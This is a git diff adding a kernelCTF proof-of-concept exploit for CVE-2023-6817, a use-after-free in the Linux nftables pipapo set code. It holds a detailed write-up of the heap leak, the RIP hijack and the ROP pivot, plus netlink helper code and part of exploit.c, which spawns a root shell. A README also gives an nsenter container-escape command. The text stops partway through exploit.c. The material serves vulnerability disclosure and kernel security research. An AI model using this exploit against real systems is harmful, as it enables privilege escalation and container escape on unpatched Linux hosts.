diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md new file mode 100644 index 00000000..8c5635bc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md @@ -0,0 +1,280 @@ +# Exploit detail about CVE-2023-6817 +If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +## Cause anaylysis + +In function `nft_pipapo_walk`, it checks if an elem is active by this : + +```c +... +if (nft_set_elem_expired(&e->ext)) + goto cont; +... +``` +but it should check like code in function `nft_rbtree_walk`: +```c +... +if (nft_set_elem_expired(&rbe->ext)) + goto cont; +if (!nft_set_elem_active(&rbe->ext, iter->genmask)) + goto cont; +... +``` +This makes it possible to call `nft_setelem_data_deactivate` twice for a element in pipapo set. + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set A +- Insert an element B into the pipapo set A. +- Delete element B. Finally function `nft_setelem_data_deactivate` will be called in `nft_del_setelem`. We will deactivate some members of set element B. +- Delete set A. Finally the function `nft_map_deactivate` will be called. Then the function `nft_setelem_data_deactivate` will be called in `nft_map_deactivate`, and the parameter will be set element B. We will deactivate some members of set element B again. + +By the way, we need to send the command of step 3 and step 4 together because we need to avoid set element B being actually released before our step 4. +This code triggering the vulenrability: +```c + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +``` + +## Exploit it +CVE-2023-6817 and CVE-2023-4569 are basically similar. They all lack effective checks on set elements, resulting in multiple calls to the `nft_setelem_data_deactivate` function on a set element. So we can use a method similar to CVE-2023-4569 to exploit CVE-2023-6817. If you want to learn how I exploited CVE-2023-4569, please read [here](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md). This article will focus on the differences between the two vulnerability exploits. + +Exploiting CVE-2023-6817 becomes different from exploiting CVE-2023-4569 because of this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/include/net/netfilter/nf_tables.h?h=linux-6.1.y&id=f3f0f95a023370561a9b4d2028308f8452f1e7d1): + +```c +struct nft_object { + struct list_head list; + struct rhlist_head rhlhead; + struct nft_object_hash_key key; +- u32 genmask:2, +- use:30; ++ u32 genmask:2; ++ u32 use; + u64 handle; + u16 udlen; + u8 *udata; +``` +This commit changes the offset of `use` in `nft_object` from 0x30 to 0x34. This means that we cannot continue to use the method of exploit CVE-2023-4569 to control RIP (because memory alignment will prevent the nft_set_elem_expr->size of the setelement used to hijack RIP from falling at the offset 0x34). So I choose to use another target used in function +`nft_setelem_data_deactivate`: `nft_chain`. + +In function `nft_setelem_data_deactivate`, it will call `nft_verdict_uninit` finally if there's `NFT_SET_EXT_DATA` in setelement `nft_set_ext` and the type of the set->dtype is `NFT_DATA_VERDICT`: + +```c +void nft_data_release(const struct nft_data *data, enum nft_data_types type) +{ + if (type < NFT_DATA_VERDICT) + return; + switch (type) { + case NFT_DATA_VERDICT: + return nft_verdict_uninit(data); + default: + WARN_ON(1); + } +} + +static void nft_verdict_uninit(const struct nft_data *data) +{ + struct nft_chain *chain; + + switch (data->verdict.code) { + case NFT_JUMP: + case NFT_GOTO: + chain = data->verdict.chain; + nft_use_dec(&chain->use); + break; + } +} + +``` +The offset of `use` in `nft_chain` is 0x50. This allowed me to hijack RIP by placing nft_set_elem_expr->size at this location (just like I did when exploiting CVE-2023-4569, just with the offset changed) + +### Primitive +I created two exploit primitives. +```c +//make target_obj->use-- +void primitive_0(struct nl_sock *socket, char *table, char *target_obj){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} +//make target_chain->use-- +void primitive_1(struct nl_sock *socket, char *table, char *target_chain){ + char *tmp_set = "pipapo set for primitive"; + new_set_pipapo_for_poc_chain(socket, table, tmp_set, 0x40); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + memset(key,0,0x40); + memset(key_end,0,0x40); + //new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0); + new_setelem_with_chain(socket, table, tmp_set, NULL, 0, key, 0x40, key_end, 0x40, target_chain); + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2); + msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40); + msg_list[1] = del_set_msg(table, tmp_set); + send_msg_list(socket, msg_list, 2); +} +``` +`primitive_0` can implement `target_object->use--` and `primitive_1` can implement `target_chain->use--`. + +### Leak info + +This part of the exploit is the almost same as CVE-2023-4569. If you want to understand more details, read this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md). + +The only difference is that when exploiting CVE-2023-4569, we put the len field of `NFT_SET_EXT_USERDATA` at offset 0x30, while in this exploit, we need to put it at offset 0x34. In this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md), I used 'NFTA_SET_ELEM_OBJREF'. In the current exploit, I used 'NFTA_SET_ELEM_DATA' to construct the corresponding setelem: +```c +//step 5 + //get heap back + for(i=0;i<0x1000;i++){ + //printf("%d\n",i); + *(uint64_t *)pad = i; + hash_key = i; + new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0); + } +``` +```c +void new_setelem_with_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + ...//Here I set the length of NFTA_SET_ELEM_DATA to 0x10 + nla_put(elem_data, NFTA_DATA_VALUE, 0x10, &pad0); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + ... +} + +``` + + +I leak some useful infomation by the following steps. + +- 1. Create many objects first.(`object A`,`object B`,...,in exploit.c, it's `"obj_for_leak_0"`,`"obj_for_leak_1"`...).Their size is 0xcc and they use kmalloc-256. +- 2. Create 0xa4 set elements wihch use one of the objects created in step 1. We assume we use `object F`. Create another set element `element X` using `object F`(This set element will be used in step 10). After step2, we will set `object F->use = 0xa5`. `udata->size` must be 0xa0 because the size of the set elem created in step 5 needs to be the same as the size of the nft_object released in step 4. +- 3. Call `primitive_0` 0xa5 times, finally making `object F->use = 0` +- 4. Delete `object F` +- 5. Create many new set elements to get the heap of `object F` back. These new elements are carefully constructed so that the `len` field representing the length of `NFT_SET_EXT_USERDATA` is exactly at the position of `object F->use`. These new set elements will use `kmalloc-256`. +- 6. Delete all the set elements we created in step 2 except `element X`. Now the `setelem->udata_len = 0xfc`(The original value is `0xa1-1=0xa0`) +- 7. Dump all the collection elements created in step 5. One of the elements will leak some useful heap addresses (because we read the next obj->list via heap out-of-bounds read). Now we will get the heap addresses of "object E" and "object G" (the objects created before and after "object F") +- 8. Delete all the set elements created in step 5 to free the heap of `object F` again. +- 9. Spray memory filled with `addressof(object E)+0x80` to get the heap of `object F` back again. +- 10. Dump set element `element X` created in step 2. We can leak `object E ->ops` because we overwrite `(*nft_set_ext_obj(ext))->key` by step 9. +- 11. Delete all the `nft_object` we created in step 1 and spray ROP gadget to get all the heap back. Now we get two pointers by step 7 pointed to our ROP gadget. + + ```c + static int nf_tables_fill_setelem(struct sk_buff *skb, + const struct nft_set *set, + const struct nft_set_elem *elem) + ... + if (nft_set_ext_exists(ext, NFT_SET_EXT_OBJREF) && + nla_put_string(skb, NFTA_SET_ELEM_OBJREF, + (*nft_set_ext_obj(ext))->key.name) < 0) + goto nla_put_failure; + ... + ``` + + +### Control RIP +This part of the exploit is basically the same as CVE-2023-4569. If you want to understand more details, read this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md). + +The only difference is that when exploiting CVE-2023-4569, we put the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` at offset 0x30, while in this exploit, we need to put it at offset 0x50 (because we used primitive_1 in Primitive, nft_chain->use offset is 0x50). Similar to the Leak info, I chose to put the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` at offset 0x50 by increasing `NFTA_SET_ELEM_DATA`: +```c +//step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size) + *(uint64_t *)&pad[0] = target_heap;//expr->ops + *(uint64_t *)&pad[8] = kernel_off + 0xFFFFFFFF8165A0A3;//leave ; ret + for(i=0;i<0x1000;i++){ + *(uint64_t *)hash_key_48 = i; + new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0); + } +``` +```c +void new_setelem_with_expr_and_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *elemdata, uint32_t elemdata_len, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + ... + if(elemdata > 0){ + nla_put(elem_data, NFTA_DATA_VALUE, elemdata_len, elemdata); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + } + ... +``` + +I control the RIP by the following steps: +- 1. Create a chain for ROP(`chain X`). The size is 0x78 and it uses kmalloc-128. +- 2. Create 0x20 set elements wihch use `chain X` created in step 1. After step2, we will set `chain X->use = 0x20` +- 3. Call `primitive_1` 0x20 times, finally making `chain X->use = 0` +- 4. Delete `chain X` +- 5. Create 0x1000 new set elements. These new elements are carefully constructed so that the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` is exactly at the position of `chain X->use`. +- 6. Delete all the set elements we created in step 2. The `chain->use` will be set to `0xfffffff0` from `0x10`, which means we change the `size` of `NFT_SET_EXT_EXPRESSIONS` of a set element which we created in step 5. We will change the `size` from `0x10` to `0xfffffff0`. Now we get a fake `nft_expr` expr[1]. We can fill the `ops` and the `data` of the fake expr in `NFTA_SET_ELEM_DATA`. +- 7. Dump all the set elements we create in step 5. Finally we will jmp to our ROP gadget. + ```c + static int nf_tables_fill_expr_info(struct sk_buff *skb, + const struct nft_expr *expr) + { + if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name)) + goto nla_put_failure; + + if (expr->ops->dump) { + struct nlattr *data = nla_nest_start_noflag(skb, + NFTA_EXPR_DATA); + if (data == NULL) + goto nla_put_failure; + if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here + goto nla_put_failure; + nla_nest_end(skb, data); + } + ... + + ``` +### ROP detail + +The assembly code when calling expr->ops->dump is as follows: + +``` + mov rax, [rbp+0] + mov rsi, rbp + mov rdi, rbx + mov rax, [rax+40h] + call __x86_indirect_thunk_rax +``` +So the `rbp` is the pointer of the current `nft_expr`, and it will be the start of `NFTA_SET_ELEM_DATA` when it comes to the fake `nft_expr`: + + +The first step of ROP start looks like this: +``` +expr->ops->dump(skb, expr) --> leave ; ret +``` +This will finally makes this happen: + +``` +rsp = element + 0x68 // mov rsp, rbp +rbp = *(element + 0x68) //pop rbp rbp=*(NFTA_SET_ELEM_DATA) +rsp = element + 0x70 +rip = *(element + 0x70) //ret rip=*(NFTA_SET_ELEM_DATA + 8) +rsp = element + 0x78 +``` +The second step of ROP is also: +``` +leave; ret +``` +After this, the `rsp` will be the value of the `NFTA_SET_ELEM_DATA[0]`. It will point to the heap, which we filled it with our ROP gadget in `Leak info` step 11. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..34426439 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/vulnerability.md @@ -0,0 +1,23 @@ +# Vulneribility + In function nft_pipapo_walk of file /net/netfilter/nft_set_pipapo.c, it doesn't check if an element is active like other similar functions. This may lead to double-deactivations of elements which then results in memory corruption. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit 3c4287f62044a90e73a561aa05fc46e62da173da](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nft_set_pipapo.c?id=3c4287f62044a90e73a561aa05fc46e62da173da) + +## Commit which fixed the vulnerability +- [commit 317eb9685095678f2c9f5a8189de698c5354316a](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a) + +## Affected kernel versions +- 5.6-rc1 and later. + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/Makefile b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/Makefile new file mode 100644 index 00000000..e2a6e2ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/README b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/README new file mode 100644 index 00000000..a30443bf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/README @@ -0,0 +1,2 @@ +Exploit for kctf COS 105-17412.226.28 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/chain.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/chain.h new file mode 100644 index 00000000..41171a2e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/chain.h @@ -0,0 +1,209 @@ +extern int cur_handle; +void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create chain %s\n",chain_name); + } + cur_handle++; +} + +struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + cur_handle++; + return hdr2; +} + +void new_chain_with_hook(struct nl_sock * socket, char *table_name, char *chain_name, int hook_num, int priority){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + + struct nl_msg *hook = nlmsg_alloc(); + nla_put_u32(hook, NFTA_HOOK_HOOKNUM, htonl(hook_num)); + nla_put_u32(hook, NFTA_HOOK_PRIORITY, htonl(priority)); + + + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + nla_put_nested(msg2, NFTA_CHAIN_HOOK, hook); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create chain %s\n",chain_name); + } + cur_handle++; +} + +void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete chain %s\n",chain_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit new file mode 100644 index 00000000..c8509f98 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit.c new file mode 100644 index 00000000..f163cdab --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -0,0 +1,493 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" +#include "chain.h" +#include "rule.h" + +enum nf_inet_hooks { + NF_INET_PRE_ROUTING, + NF_INET_LOCAL_IN, + NF_INET_FORWARD, + NF_INET_LOCAL_OUT, + NF_INET_POST_ROUTING, + NF_INET_NUMHOOKS, +}; + +char *leak_data = NULL; +int table_num = 0; +uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; +int cur_handle = 0; +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; 